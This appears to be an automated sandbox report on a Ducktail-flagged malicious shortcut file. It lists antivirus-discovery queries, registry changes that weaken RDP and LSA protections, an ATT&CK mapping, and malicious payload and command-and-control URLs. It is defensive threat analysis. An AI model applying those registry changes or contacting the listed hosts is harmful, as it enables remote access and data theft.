Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation

Source: C:\Windows\Temp\svczHost.exe

Code function: 24_2_00007FF69957BFE0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

24_2_00007FF69957BFE0

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies security policies related information

Source: C:\Windows\Temp\myRdpService.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa DisableRestrictedAdmin

Source: powershell.exe, 00000005.00000002.474923436779.000002C4DF541000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474914240810.000002BCDDEDE000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474914240810.000002BCDDF57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475951471707.0000023BA2302000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Ducktail

Source: Yara match	File source: Process Memory Space: svczHost.exe PID: 9472, type: MEMORYSTR
Source: Yara match	File source: amsi64_6008.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8860, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6008, type: MEMORYSTR

Remote Access Functionality

Yara detected Ducktail

Source: Yara match	File source: Process Memory Space: svczHost.exe PID: 9472, type: MEMORYSTR
Source: Yara match	File source: amsi64_6008.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8860, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6008, type: MEMORYSTR

Allows multiple concurrent remote connection

Source: C:\Windows\Temp\myRdpService.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server fSingleSessionPerUser

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	431 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	1 Remote Desktop Protocol	Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	11 Windows Service	11 Windows Service	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	11 Process Injection	1 Obfuscated Files or Information	Security Account Manager	126 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	5 PowerShell	Login Hook	Login Hook	1 Software Packing	NTDS	441 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 Process Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	351 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	13 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	351 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
rRtGI3L0ca.lnk	29%	ReversingLabs	Shortcut.Trojan.Pantera
rRtGI3L0ca.lnk	35%	Virustotal		Browse
rRtGI3L0ca.lnk	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba5f06aeb1124113c3b608f92dddb20455	100%	Avira URL Cloud	malware
https://go.microsoft.co	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb247857	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba12e5825a5750703ef3cef2645c84b2ae	100%	Avira URL Cloud	malware
https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/211	100%	Avira URL Cloud	malware
http://23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb	100%	Avira URL Cloud	malware
http://cocomethode.de	100%	Avira URL Cloud	malware
https://live.cpsecateDevg:DeeSer	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4	100%	Avira URL Cloud	malware
http://crl.ver)	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62f	100%	Avira URL Cloud	malware
http://www.w3.or	0%	Avira URL Cloud	safe
https://cocomethode.de/StaticFile/RdpService/17	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a0	100%	Avira URL Cloud	malware
https://go.micro	0%	Avira URL Cloud	safe
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba12e5825a57507	100%	Avira URL Cloud	malware
http://cocomethode.de/api/check	100%	Avira URL Cloud	malware
http://schemas.openxmlfoEP	0%	Avira URL Cloud	safe
https://cocomethode.de/fbJ5ex	100%	Avira URL Cloud	malware
http://html4/loose.dtd	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.pngXz	0%	Avira URL Cloud	safe
http://schemas.mi	0%	Avira URL Cloud	safe
http://crl.osofts/Microt0	0%	Avira URL Cloud	safe
http://.css	0%	Avira URL Cloud	safe
https://cocomethode.de	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe976627	100%	Avira URL Cloud	malware
https://login.live.co	100%	Avira URL Cloud	malware
https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/0581aba62a106ea04cdf6f3772592fc1199b70b957cfe082abf00cb9a2df1f568594743	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba1f376859e645b	100%	Avira URL Cloud	malware
http://.jpg	0%	Avira URL Cloud	safe
http://crl.micr	0%	Avira URL Cloud	safe
https://account.live.co	100%	Avira URL Cloud	malware
http://23.88.71.29:8000/api/registry	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b	100%	Avira URL Cloud	malware
http://pesterbdd.com/images/Pester.pngh	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee518	100%	Avira URL Cloud	malware
http://23.88.71.29:8000/client/ws	0%	Avira URL Cloud	safe
http://www.microsoft.	0%	Avira URL Cloud	safe
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba5f06aeb112411	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4	100%	Avira URL Cloud	malware
http://cocomethode.de:443/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cocomethode.de	172.67.128.139	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba5f06aeb1124113c3b608f92dddb20455	false	Avira URL Cloud: malware	unknown
http://23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba12e5825a5750703ef3cef2645c84b2ae	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/211	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/StaticFile/RdpService/17	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230	false	Avira URL Cloud: malware	unknown
http://cocomethode.de/api/check	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/fbJ5ex	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034	false	Avira URL Cloud: malware	unknown
http://23.88.71.29:8000/api/registry	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b	false	Avira URL Cloud: malware	unknown
http://23.88.71.29:8000/client/ws	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

